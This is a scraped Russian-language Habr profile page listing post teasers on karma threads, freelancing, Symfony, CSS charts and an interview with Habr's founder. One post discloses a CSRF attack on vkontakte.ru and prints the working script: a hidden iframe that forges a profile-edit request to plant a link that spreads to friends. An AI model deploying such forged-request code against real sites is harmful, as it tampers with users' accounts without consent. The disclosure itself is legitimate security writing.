Как стать автором
Обновить
0
0
Duck_kun @Duck_kun

Пользователь

Отправить сообщение

Приподниму карму, из чувства социальной справедливости — 3

Время на прочтение1 мин
Количество просмотров752


Подними хабракарму ближнему своему!



Предыдущая тема уже разрослась (1000+ комментариев) и загружается очень долго, поэтому создал новую.

Пишите здесь, кому надо карму поднять/опустить, и воздастся Вам.

Не минусуйте мне карму. Что это такое? Делаешь другим добро, а в ответ ерунда.

UPDATE: Уважаемый nforce согласился любезно помочь тем, кто напишет ему личное сообщение с вежливой просьбой о поднятии кармы.

P.S. Объявление: Социальному реабилитационному сервису во восстановлению морального равновесия хабрапользователей требуются волонтеры.

P.P.S. Обязательно присоединитесь к блогу!
Всего голосов 71: ↑38 и ↓33+5
Комментарии193

Безработный интернет-дизайнер

Время на прочтение1 мин
Количество просмотров2.7K


Долго искал это фото (много лет!), помог Гугл с поиском лиц.
Чрезвычайно доволен, даже захотелось поделиться с общественностью. Не спрашивайте зачем.
Всего голосов 277: ↑253 и ↓24+229
Комментарии153

Интервью с создателем habrahabr — Денисом Крючковым

Время на прочтение7 мин
Количество просмотров2.3K
С Денисом мы не могли побеседовать около двух месяцев, на каждой неделе по нескольку раз договариваясь о встрече. Не складывались обстоятельства: то один, то другой не мог подъехать. В итоге, мы все же встретились в баре Boozz, который находится неподалеку от офисов Тематических Медиа и Futurico.

Даня: Какие же кармические причины нам мешали встретиться месяца два, наверное?
Денис: Я думаю, что занятость.

Даня: Ты занимался сексом с детьми и строил свое казино с блек-джеком и шлюхами?
Денис: Нет, это было раньше, теперь я с этим завязал.

Читать дальше →
Всего голосов 132: ↑113 и ↓19+94
Комментарии118

Закулисы сайтостроения

Время на прочтение1 мин
Количество просмотров626

Если так показывать процесс работы заказчику, то вопросов «почему так дорого» у него не встанет. )
Читать дальше →
Всего голосов 78: ↑76 и ↓2+74
Комментарии38

ADV открывает новый сайт

Время на прочтение1 мин
Количество просмотров819

ADV/web-engineering, один из лидеров рынка создания сайтов, открыла новый сайт. Думаю, это стоит внимания хабраюзеров :)

Центральным материалом на сайте является новость о “тендере наоборот” – компания объявила тендер на подбор клиента-партнера в области разработки Интернет-проектов.

Из интересного еще есть немного сентиментальный текст про казнь старого сайта, ну и проекты в портфолио – уровень проработки впечатляет.
Тексты по проектам в портфолио представляют собой не стандартное “сделали то, для того, применили это и это”, а являются небольшими художественными зарисовками/эссе, имеющими лишь косвенное отношение к проекту. Эти самые зарисовки выполнены в разной стилистике, либо под известные произведения, либо по жанру в целом.

Читать дальше →
Всего голосов 42: ↑32 и ↓10+22
Комментарии45

Air Force 2.0

Время на прочтение1 мин
Количество просмотров727

Новое дивное лого ВВС США. Изменено в связи с созданием Air Force Cyber Command Не знаю, как у вас, а у меня небольшой холодок в груди.
UPD: еще лого тут
Ответы генерала на вопросы slashdot
Всего голосов 25: ↑21 и ↓4+17
Комментарии77

Дилберт по-русски: ежедневный архив с 2006 года, 670 выпусков!

Время на прочтение1 мин
Количество просмотров2.2K
Находка. Всего пару слов о проекте: Дилберт Скотта Адамса, на русском, ежедневный архив с 2006 года, 670 комиксов.

Дилберт на русском!

Каждый день по выпуску. Автору всеобщее «КУ!»

Дилберт по русски!
Всего голосов 55: ↑51 и ↓4+47
Комментарии34

Microsoft захватит Yahoo законно

Время на прочтение3 мин
Количество просмотров709
Или пособие по тому, как доводить начатое до конца.


Вчера издание Times Online опубликовало информацию о том, как сильно Microsoft хочется подмять под себя Yahoo и при этом сэкономить. Информации в Рунете об этом инциденте уже достаточно, но давайте попробуем все-таки собрать факты в одной заметке.

Читать дальше →
Всего голосов 76: ↑74 и ↓2+72
Комментарии71

Web.2.0 – как создать сообщество?

Время на прочтение4 мин
Количество просмотров725
Я знаю, что испытывают создатели практически любого нового сообщества.

Вы долго разрабатывали движок, делали дизайн, работали над юзабилити, наконец выложили проект в открытый доступ, гордо начертали под логотиплом «beta», разрекламировали новый проект в социальных медиа и уселись в удобное кресло следить за ростом посещаемости ресурса и потоком рекламных доходов. Однако дни проходят, а посещаемость по-прежнему стремиться к минус бесконечности. Что же делать?

Кто участвует в сообществах?

Любое сообщество состоит из трех категорий пользователей. Одни создают (или публикуют) контент, другие комментируют записи других пользователей, а третьи не утруждают себя ни тем ни другим, но зато читают уже оставленные записи и комментарии. Кроме того, есть четвертая субкатегория – это создатели ресурса (Высшие Силы).

По приблизительным подсчетам, в обыкновенных тематических сообществах первая категория (кто пишет посты) составляет 0,1% целевой аудитории ресурса, вторая (пишет комментарии) — 1% и третья (самая бесполезная – только читает) – 98,9%. Следовательно для того, чтобы на новом ресурсе появлялось и разрастолось постоянное общение необходимо либо единовременно привлечь большое количество целевой аудитории, либо заставить часть пассивной аудитории делать записи и оставлять комментарии. Как же заставить аудиторию общаться?
Читать дальше →
Всего голосов 63: ↑53 и ↓10+43
Комментарии63

5 способов увеличить свободное пространство на странице

Время на прочтение3 мин
Количество просмотров2K
Большинство блоггеров хотят разместить на своей страничке как можно больше контента, но чтобы при этом он занимал как можно меньше места.

Это довольно интересный парадокс, и найти решение удается не всегда. Однако, имеются способы как нарушить это «парадоксальное правило», и улучшить читабельность блога для пользователей.
В этой статье я предлагаю вам 5 таких способов, узнав которые, я думаю, вы сможете придумать как применить их для своего блога.

Читать дальше →
Всего голосов 25: ↑22 и ↓3+19
Комментарии23

CSRF на vkontakte.ru

Время на прочтение1 мин
Количество просмотров7.8K
Обнаружил забавную атаку на сайт vkontakte.ru.
При переходе на сайт tvoydohod.com, если вы в этот же момент авторизованы на вконтакте, отработает следующий джаваскрипт:
<script>
function doit() {
  var html;
  html = '<img src=http://vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=http://tvoydohod.com>';
  window.frames["frm"].document.body.innerHTML = html;
}
</script>
<iframe name="frm" onload="doit()" width="0" height="0"></iframe>

Как видно, будет запрошена картинка с адресом vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=http://tvoydohod.com, броузер сделает запрос по этому УРЛу, и на анкете в vkontakte ваше поле «Веб-сайт» станет равным tvoydohod.com.
Затем в вашем профайле, ваш друг, который вам доверяет кликнет на этот линк, и изменит профайл себе… И т д.

Этот вид атак называется Cross Site Request Forgery. В вики описаны все противоядия и куча полезной инфы.

Сам по себе CSRF довольно скучен. Но в данном случае забавно то, что каждый заразившийся становится разносчиком CSRF-линка.

Отписал в тех-поддержку, где столкнулся с «Это не баг!», «Не кликайте по подозрительным ссылкам!» и прочим. Надеюсь пользователей они ценят и поправят.
А вам было интересно узнать о таком простом «вирусе», который живет целиком в соц-сети =)
Всего голосов 143: ↑143 и ↓0+143
Комментарии134

Стратегия поведения на фрилансерских ресурсах

Время на прочтение4 мин
Количество просмотров1.8K
Продолжение, начало было тут.


Итак, вы зарегистрировались на фрилансерском ресурсе и пытаетесь получить заказы. Как известно, побеждают не числом, а умением, поэтому Вам было бы неплохо не заниматься рассылкой одинаковых ответов в стиле «пишите мне, icq#xxx», а выбрать стратегию. Это означает, что работа начинается задолго до регистрации на фрилансерских ресурсах…

Читать дальше →
Всего голосов 44: ↑42 и ↓2+40
Комментарии44

10 советов фрилансерам от заказчика

Время на прочтение4 мин
Количество просмотров3.7K
В очередной раз решил написать пост для фрилансеров


На этот шаг меня сподвиг опыт последнего заказа, который надо было отдать на сторону. В основном, к сожалению, отрицательный. В советах будут оценки, они субьективные, но, надеюсь, кому-то помогут.
Расшифровка оценок будет в конце.

Итак, советы и мои комментарии
Читать дальше →
Всего голосов 53: ↑50 и ↓3+47
Комментарии61

Symfony: как начать

Время на прочтение5 мин
Количество просмотров60K
Чем больше я работаю над своим первым проектом на работе, тем больше мне хочется в нем поменять и тем больше я жалею о том, что перед началом работы я не прочитал до конца «The Definitive Guide to Symfony» и не изучил плагины для Symfony. Многие из них мне бы помогли намного сократить время разработки и, что самое главное, не думать о том, как красиво реализовать те или иные вещи… И еще одно — если у вас уже есть кусок системы (как это было у меня), который вы собираетесь переписывать с использованием вашего фреймворка (или просто переписывать, потому что код вам не нравиться) — то мой вам совет — потратьте время на то, чтобы спроектировать этот кусок на план вашей новой системы, не бросайтесь сразу всё переписывать (каюсь, я поступил именно так), так как после анализа (который, возможно, займет у вас не один день, и даже не одну неделю), возможно, от предыдущей архитектуры системы не останется и следа.
Вообще, я люблю проектировать, продумывать, анализировать те или иные решения, которые хочу внедрить в систему (хотя, признаюсь, опыта у меня в этом маловато), но как обьяснить заказчику, что ты провел день в раздумьях… Эх…
Ну ладно, это я отвлекся. Сегодня хочется рассказать о том, с чего стоит начать при разработке системы с помощью Symfony и каких правил следует придерживаться.
Читать дальше →
Всего голосов 44: ↑41 и ↓3+38
Комментарии87

Визуализация данных на CSS

Время на прочтение3 мин
Количество просмотров2.7K
Визуализация данных графиков, диаграмм в основном решается с помощью флэш и некоторых языков программирования. Являются ли эти способы единственными? Давайте попробуем реализовать эту задачу с помощью CSS.

Предисловие
В этом примере я не буду использовать ни JavaScript, ни любые другие языки. Все, что мне нужно это хорошая разметка и код CSS.
Таким образом, наша цель состоит в том, чтобы представить данные таблицы в виде диаграммы. Можно отметить, что данные диаграммы – это объект из 2х элементов, непосредственно зависимых друг от друга. Поэтому, лучшим решением в отношении структуры и семантики будет использование списков определений.
Почему? Ну, для начала, это список элементов. Несмотря на то, что список является линейным, мы можем обозначить заголовки определений (элементы dt) как пункты по оси X и описание определений (элементы dd) как значения по оси Y.
Читать дальше →
Всего голосов 65: ↑65 и ↓0+65
Комментарии20

Информация

В рейтинге
Не участвует
Откуда
Санкт-Петербург и область, Россия
Дата рождения
Зарегистрирован
Активность